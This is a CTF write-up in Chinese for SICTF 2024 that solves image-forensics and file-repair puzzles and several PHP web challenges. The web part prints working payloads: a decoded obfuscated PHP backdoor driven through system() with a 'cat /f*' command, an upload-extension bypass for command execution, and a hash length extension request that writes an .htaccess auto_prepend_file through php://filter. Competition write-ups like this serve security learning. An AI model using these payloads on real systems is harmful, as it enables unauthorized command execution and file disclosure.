2024SICTF

MISC

签到

Picture

将一个图片的像素点分成了两个图片的像素点

gpt嗦一个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from PIL import Image

# 打开加密图像和分离图像
image1 = Image.open('flag1.png')
image2 = Image.open('flag2.png')

# 获取图像的大小
width, height = image1.size

# 创建一个新的图像用于保存解密后的结果
decrypted_image = Image.new(mode="RGB", size=image1.size)

# 遍历每个像素并恢复原始图像
for i in range(width):
for j in range(height):
tr, tg, tb = image1.getpixel((i, j))
r2, g2, b2 = image2.getpixel((i, j))

# 恢复原始像素值
r = (tr + r2) % 256
g = (tg + g2) % 256
b = (tb + b2) % 256

decrypted_image.putpixel((i, j), (r, g, b))

# 保存解密后的图像
decrypted_image.save('decrypted_flag.png')

之后stegslover red0通道找到flag

image-20241102203955957

大模型

blend文件,用相应软件打开提示有问题

010看看,没见过这个文件不知道啥问题,感觉文件头有问题,新建一个同类型的文件

补上文件头BLEND

image-20241102210010674

在打开即可

image-20241102210034286

SICTF{fLAG1nTheM8deL}

Web

signin

robots.txt转到wh3re_1s_thi5_fl4g.php

1
2
3
4
5
6
7
8
9
10
11
12
13
 <?php
highlight_file(__FILE__);
error_reporting(0);
$s = "wKq=1MDcLg6yYsrnRYivbO7JoWQ9rBhCZuo4DlZOS7_I5+t=UKzp0hdV1FNL2EFd/nxam3cTbPARsw+8Eky5XUpfH0MeTQ3JXtkGf9qj_4NmlHi/SeIVaCAgxGj26vW8PBzu";
$a = $s[72] . $s[116] . $s[76] . $s[113] . $s[124] . $s[35] . $s[104] . $s[63] . $s[91] . $s[70] . $s[24] . $s[63] . $s[113];
$b = $s[38] . $s[123] . $s[115] . $s[89] . $s[96] . $s[60] . $s[75] . $s[108] . $s[32] . $s[107] . $s[37] . $s[131] . $s[38] . $s[25] . $s[75] . $s[100] . $s[63] . $s[68] . $s[57] . $s[11] . $s[70] . $s[77] . $s[3] . $s[3];
$c = $s[96] . $s[89] . $s[63] . $s[62] . $s[115] . $s[74] . $s[47] . $s[47];
$e = $payload = $s[115].$s[65].$s[86].$s[39].$s[70].$s[4].$s[108].$s[124].$s[26].$s[65].$s[16].$s[116].$s[115].$s[103].$s[98].$s[77].$s[92].$s[48].$s[12].$s[44].$s[115].$s[62].$s[58].$s[55].$s[92].$s[37].$s[55].$s[40].$s[116].$s[71].$s[16].$s[83].$s[92].$s[48].$s[75].$s[23].$s[5].$s[74].$s[47].$s[47];
$f = $a($b);
$g = $a($a($e));
$h = $s[17].$s[130].$s[106].$s[76].$s[113].$s[68].$s[75].$s[109].$s[55].$s[65].$s[26].$s[47];
$i = $a($a($h));
$i($f()[$a($c)][$g]);

看上去有点难受,实际上加个print将各个变量输出出来就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
 <?php

$s = "wKq=1MDcLg6yYsrnRYivbO7JoWQ9rBhCZuo4DlZOS7_I5+t=UKzp0hdV1FNL2EFd/nxam3cTbPARsw+8Eky5XUpfH0MeTQ3JXtkGf9qj_4NmlHi/SeIVaCAgxGj26vW8PBzu";
$a = $s[72] . $s[116] . $s[76] . $s[113] . $s[124] . $s[35] . $s[104] . $s[63] . $s[91] . $s[70] . $s[24] . $s[63] . $s[113];
$b = $s[38] . $s[123] . $s[115] . $s[89] . $s[96] . $s[60] . $s[75] . $s[108] . $s[32] . $s[107] . $s[37] . $s[131] . $s[38] . $s[25] . $s[75] . $s[100] . $s[63] . $s[68] . $s[57] . $s[11] . $s[70] . $s[77] . $s[3] . $s[3];
$c = $s[96] . $s[89] . $s[63] . $s[62] . $s[115] . $s[74] . $s[47] . $s[47];
$e = $payload = $s[115].$s[65].$s[86].$s[39].$s[70].$s[4].$s[108].$s[124].$s[26].$s[65].$s[16].$s[116].$s[115].$s[103].$s[98].$s[77].$s[92].$s[48].$s[12].$s[44].$s[115].$s[62].$s[58].$s[55].$s[92].$s[37].$s[55].$s[40].$s[116].$s[71].$s[16].$s[83].$s[92].$s[48].$s[75].$s[23].$s[5].$s[74].$s[47].$s[47];
$f = $a($b);
$g = $a($a($e));
$h = $s[17].$s[130].$s[106].$s[76].$s[113].$s[68].$s[75].$s[109].$s[55].$s[65].$s[26].$s[47];
$i = $a($a($h));
$i($f()[$a($c)][$g]);
print $a."\n";
print $b."\n";

print $c."\n";
print $e."\n";
print $f."\n";
print $g."\n";
print $h."\n";
print $i."\n";

print(system(get_defined_vars()[base64_decode("X0dFVA==")]["W3lc0me_t0_SICTF.2024"]));

解密出来就知道怎么做了

不要忘了php字符串解析的特性

传入W3lc0me[t0_SICTF.2024=cat /f*

image-20241102204723590

upload

只允许上传png,jpg,gif等文件

上传1.jpg改后缀即可上传成功

image-20241102204918908

执行命令

image-20241102204956770

Die for now

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
highlight_file(__FILE__);
include 'secret.php';
$input = base64_decode($_REQUEST['content']);
$userhash = $_REQUEST['hash'];
$content = $secret . $input;
if (md5($secret) !== 'e3fbe9ad6999fcfcc3fa79a233a86748')
{
exit("No no, Don't change the secret.");
}
echo "Secret's length is " . strlen($secret) . " ";
$hash = md5($content);
// Is that enough? Let's see...
if (strlen($userhash) == 32 && $hash === $userhash) {
echo "Congratulations! I will write your input into file.";
$filename = explode("[[", $input)[1];
// take it easy, i will change the return for you
$filename = str_replace("\\n", "\n", str_replace("\0",'',$filename));
$content = $secret . $filename;
file_put_contents($filename, $content);
} else {
exit("Think Extensively.");
}

第一步是hash长度拓展攻击

第二步是php为协议的利用

image-20241102204219884

之后formhex tobase64

1
hash=ac6c260088cc41265c29b9f4a5f643cc&content=gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcAAAAAAAAABbW3BocDovL2ZpbHRlci93cml0ZT1zdHJpbmcuc3RyaXBfdGFncy8/PnBocF92YWx1ZSBhdXRvX3ByZXBlbmRfZmlsZSBmbGFnXG4jL3Jlc291cmNlPS5odGFjY2Vzcw==

image-20241102204259579